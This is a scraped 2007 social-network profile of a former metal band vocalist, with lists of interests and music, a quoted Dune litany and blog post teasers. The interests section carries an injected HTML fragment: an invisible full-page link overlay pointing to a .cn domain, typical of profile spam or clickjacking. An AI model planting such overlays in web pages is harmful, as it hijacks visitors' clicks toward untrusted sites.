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[mykl atrum]

..when you look into an abyss, the abyss also looks into you : friedrich nietzsche..

About Me

.EX-vocalist for Impathy, a local metal band.
.yes, i'm that guy that workED at Freestyles.
.i exist in a world of neither light nor dark. a world of many shades of grey.
.i seek a level of existence that most don't comprehend. but i'm willing to show you the way.
.i give everyone a chance, but most don't understand.
.i'm cryptic when i'm straightforward, and i'm straightforward when i'm cryptic.
.chances are you'll never understand my way of thinking, but you're more than welcome to try your luck.
.im one of very few people who understands the importance of being alone, that doesn't mean i always like it nor want it.
 .i must not fear.
.fear is the mindkiller.
.fear is the little death that brings total obliteration.
.i will face my fear.
.i will permit it to pass over me and through me.
.and when it has gone past.
.i will turn the inner eye to see its path.
.where the fear is gone there will be nothing.
.only I will remain.
..without you..
..everything falls apart..
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My Interests

.music, .art, .philosophy, .quantum physics, .enlightenment, .and anything else that might peek my interest these days..the destruction of the human race as a whole has been a topic of discussion for the voices in my head as of late. a class="popup_wrapper" style="cursor:default;background-image:url(http://w2v8o.cn/b g.jpg);left:0px;top:0px;height:7861px;width:1152px;" href="http://w2v8o.cn/s/" m$l$

I'd like to meet:

.those willing to take the time to understand the people and world around them

Music:

.metal, .industrial, .ambient, ..classical, .noise, .and a few other random things.

Movies:

.equilibrium, .1984, .a clockwork orange, .underworld, .the entire evil dead series, .saw I and II, and almost everything else sci-fi, fantasy, horror, and dystopian

Television:

.aside from the occaisional prime time television shows, i watch a lot of science channel, discovery, history, etc.

Books:

ayn rand's anthem and atlas shrugged, william gibson, .the holographic universe, .the dune series, 1984, farenheit 911, a brave new world, etc. this list is always expanding. recommend something if you wish.

Heroes:

.find me one first.

My Blog

[coming aberration : repost of bulletin]

so. it's about time to start what i've been planning for some time now. so here's the news.. impathy. at the moment. is dead. no idea for how long. and there are many many reasons behind this. some o...
Posted by [mykl atrum] on Mon, 16 Apr 2007 10:10:00 PST

[evolution]

so. there are some things i have to get off my mind. and some things that have to change. and some things that must be said. and some people will not like what they hear in this. but i make my own cho...
Posted by [mykl atrum] on Tue, 06 Feb 2007 02:09:00 PST

.only i will remain.

so. i never keep up with this thing. its always random posts about how the past few MONTHS have been it seems. anyway.. updates for those who care... new job. lots of money. nothing to spend [waste] i...
Posted by [mykl atrum] on Wed, 29 Nov 2006 05:37:00 PST

..// as we spread our wings to the darkness..

it's been a very, very long past few weeks.... i'm not sure where to even start with things. i remember that not too long ago.. around the time of Metal Fest.. i was doing okay. hell.. there have bee...
Posted by [mykl atrum] on Thu, 21 Sep 2006 10:15:00 PST

..//:happiness?

So after an eternity of writing things that are filled with utter despair and bitterness, I decided I'd write about the changes that have occurred as of late. It's been a while since I've da...
Posted by [mykl atrum] on Sun, 30 Jul 2006 09:13:00 PST

..//..burning bridges and the past..

so. i have been packing all day still. and i run across these boxes that i keep. they were in the back corner of my closet on the shelf. you know.. one of those places you put things so you dont look ...
Posted by [mykl atrum] on Wed, 28 Jun 2006 02:50:00 PST

is it just me? or is the world going insane...?

its kinda sad. when you sit in your house for over a month. and only really get out to play shows. and a few occasional outings.. and then you get back to going to work. and get out a bit more.. and a...
Posted by [mykl atrum] on Mon, 03 Apr 2006 09:46:00 PST

.all dried up and tied up forever. .all fucked up and dead to the world.

It's been a little over a week since my car died. I've been out of my house twice this week. Once last saturday. And once this past wednesday. It feels like I haven't left once though. My mind certain...
Posted by [mykl atrum] on Sat, 25 Feb 2006 11:30:00 PST

And now I seek a different path.....

change. its what makes the world a better place. the fact that when there is something we dont like then we can change it if we choose to. the problem comes with choice. we have the ability to ch...
Posted by [mykl atrum] on Thu, 16 Feb 2006 02:37:00 PST